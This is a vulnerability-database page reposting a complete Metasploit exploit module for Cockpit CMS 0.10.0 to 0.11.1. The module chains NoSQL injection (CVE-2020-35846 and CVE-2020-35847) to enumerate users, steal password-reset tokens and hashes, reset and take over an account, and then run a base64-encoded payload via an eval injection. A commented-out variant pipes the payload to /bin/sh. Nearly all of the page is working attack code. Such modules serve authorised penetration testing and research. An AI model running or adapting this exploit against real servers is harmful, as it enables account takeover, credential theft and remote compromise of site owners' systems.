Lucene search
K

Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution Exploit

🗓️ 21 Apr 2021 00:00:00Reported by zdtType 
zdt
 zdt
🔗 0day.today👁 76 Views

Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cockpit CMS 0.11.1 - (Username Enumeration & Password Reset) NoSQL Injection Exploit
10 Aug 202100:00
zdt
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
25 Jul 202105:05
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
6 Aug 202109:19
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
5 Aug 202118:48
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
21 Jan 202622:18
githubexploit
ATTACKERKB
CVE-2020-35846
30 Dec 202000:00
attackerkb
ATTACKERKB
CVE-2020-35847
30 Dec 202000:00
attackerkb
Circl
CVE-2020-35846
30 Dec 202007:30
circl
Circl
CVE-2020-35847
30 Dec 202007:30
circl
CNNVD
Agentejo Cockpit SQL注入漏洞
29 Dec 202000:00
cnnvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/hashes/identify'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cockpit CMS NoSQLi to RCE',
        'Description' => %q{
          This module exploits two NoSQLi vulnerabilities to retrieve the user list,
          and password reset tokens from the system.  Next, the USER is targetted to
          reset their password.
          Then a command injection vulnerability is used to execute the payload.
          While it is possible to upload a payload and execute it, the command injection
          provides a no disk write method which is more stealthy.
          Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities
          for exploitation.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Nikita Petrov' # original PoC, analysis
          ],
        'References' =>
          [
            [ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],
            [ 'CVE', '2020-35847' ], # reset token extraction
            [ 'CVE', '2020-35846' ], # user name extraction
          ],
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultOptions' =>
          {
            'PrependFork' => true
          },
        'DisclosureDate' => '2021-04-13',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            # ACCOUNT_LOCKOUTS due to reset of user password
            'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_SERVICE_DOWN ]
          }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),
        OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),
        OptString.new('USER', [false, 'User account to take over', ''])
      ], self.class
    )
  end

  def get_users(check: false)
    print_status('Attempting Username Enumeration (CVE-2020-35846)')
    res = send_request_raw(
      'uri' => '/auth/requestreset',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    # return bool of if not vulnerable
    # https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432
    if check
      return (res.body.include?('Function should be callable') ||
              # https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466
              res.body.include?('Condition not valid') ||
              res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])
    end

    res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
  end

  def get_reset_tokens
    print_status('Obtaining reset tokens (CVE-2020-35847)')
    res = send_request_raw(
      'uri' => '/auth/resetpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten
  end

  def get_user_info(token)
    print_status('Obtaining user info')
    res = send_request_raw(
      'uri' => '/auth/newpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => token })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    /this.user\s+=([^;]+);/ =~ res.body
    userdata = JSON.parse(Regexp.last_match(1))
    userdata.each do |k, v|
      print_status("  #{k}: #{v}")
    end
    report_cred(
      username: userdata['user'],
      password: userdata['password'],
      private_type: :nonreplayable_hash
    )
    userdata
  end

  def reset_password(token, user)
    password = Rex::Text.rand_password
    print_good("Changing password to #{password}")
    res = send_request_raw(
      'uri' => '/auth/resetpassword',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ 'token' => token, 'password' => password })
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res

    # loop through found results
    body = JSON.parse(res.body)
    print_good('Password update successful') if body['success']
    report_cred(
      username: user,
      password: password,
      private_type: :password
    )
    password
  end

  def report_cred(opts)
    service_data = {
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      service_name: 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:username],
      private_data: opts[:password],
      private_type: opts[:private_type],
      jtr_format: identify_hash(opts[:password])
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: ''
    }.merge(service_data)
    create_credential_login(login_data)
  end

  def login(un, pass)
    print_status('Attempting login')
    res = send_request_cgi(
      'uri' => '/auth/login'
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body
    cookie = res.get_cookies
    res = send_request_raw(
      'uri' => '/auth/check',
      'method' => 'POST',
      'ctype' => 'application/json',
      'cookie' => cookie,
      'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')
    print_good("Valid cookie for #{un}: #{cookie}")
    cookie
  end

  def gen_token(user)
    print_status('Attempting to generate tokens')
    res = send_request_raw(
      'uri' => '/auth/requestreset',
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate({ user: user })
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res
  end

  def rce(cookie)
    print_status('Attempting RCE')
    p = Rex::Text.encode_base64(payload.encoded)
    send_request_raw(
      'uri' => '/accounts/find',
      'method' => 'POST',
      'cookie' => cookie,
      'ctype' => 'application/json',
      # this is more similar to how the original POC worked, however even with the & and prepend fork
      # it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session
      # was killed when using an arch => cmd type payload.
      # 'data'     => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"
      # with this method most pages still seem to load, logins work, but the password reset will not respond
      # however, everything else seems to work ok
      'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"
    )
  end

  def check
    begin
      return Exploit::CheckCode::Appears unless get_users(check: true)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    if datastore['ENUM_USERS']
      users = get_users
      print_good("  Found users: #{users}")
    end

    fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''

    tokens = get_reset_tokens
    # post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.
    if tokens == []
      gen_token(datastore['USER'])
      tokens = get_reset_tokens
    end
    print_good("  Found tokens: #{tokens}")
    good_token = ''
    tokens.each do |token|
      print_status("Checking token: #{token}")
      userdata = get_user_info(token)
      if userdata['user'] == datastore['USER']
        good_token = token
        break
      end
    end
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''
    password = reset_password(good_token, datastore['USER'])
    cookie = login(datastore['USER'], password)
    rce(cookie)
  end
end

#  0day.today [2021-10-25]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2021 00:00Current
0.7Low risk
Vulners AI Score0.7
CVSS 27.5
CVSS 3.19.8
EPSS0.93971
76